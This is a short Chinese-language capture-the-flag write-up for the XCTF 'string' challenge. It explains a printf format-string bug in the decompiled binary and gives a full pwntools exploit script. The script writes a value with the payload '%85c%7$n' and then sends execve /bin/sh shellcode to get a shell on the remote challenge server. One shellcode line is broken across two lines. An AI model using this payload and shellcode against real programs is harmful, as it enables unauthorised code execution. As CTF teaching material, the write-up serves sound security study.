攻防世界-string-Writeup

原创

SkYe231_ 于 2020-05-15 18:48:10 发布

string

[collapse title="展开查看详情" status="false"]

考点：格式化字符串任意地址写小数

题目前面有几个条件循环绕过，反编译就能看出，不再赘述。看漏洞函数：

```
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That';s odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf((__int64)"%d", (__int64)&amp;v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("';Give me an address';");
    _isoc99_scanf((__int64)"%ld", (__int64)&amp;v2);
    puts("And, you wish is:");
    _isoc99_scanf((__int64)"%s", (__int64)&amp;format);
    puts("Your wish is")



;
    printf(&amp;format, &amp;format);                 // 格式化字符串漏洞
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

可控制的第一个参数是在 18 行，偏移为 7 。这里利用方式有多种，利用偏移 7 和 8 控制任意写入，也可只利用偏移 8 任意输入。（exp 使用偏移 7 和 8）

修改 v3 值后，绕过最后一个障碍。然后写入一段 shellcode 即可。shellcraft 生成的没有效果，就去 http://shell-storm.org/ 找了一个。

完整 exp ：

```python
from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",48602)
#p = process("./string")

p.recvuntil("secret[0] is ")
v3 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3:"+hex(v3))

p.recvuntil("secret[1] is ")
v3_1 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3_1:"+hex(v3_1))

#payload = "aaaaaaaa%p%p%p%p%p%p%p%p%p"
#offset = 7
payload = "%85c%7$n"

p.recvuntil("name")
p.sendline(';a';*0xc)

p.recvuntil("up?:")
p.sendline("east")

p.recvuntil("leave(0)?:")
p.sendline(str(1))

p.recvuntil("address")
p.sendline(str(v3))

p.recvuntil("is:")
p.sendline("%85c%7$n")

#shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x4
9\x89\xd2\x0f\x05"

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)

p.interactive()
```

[/collapse]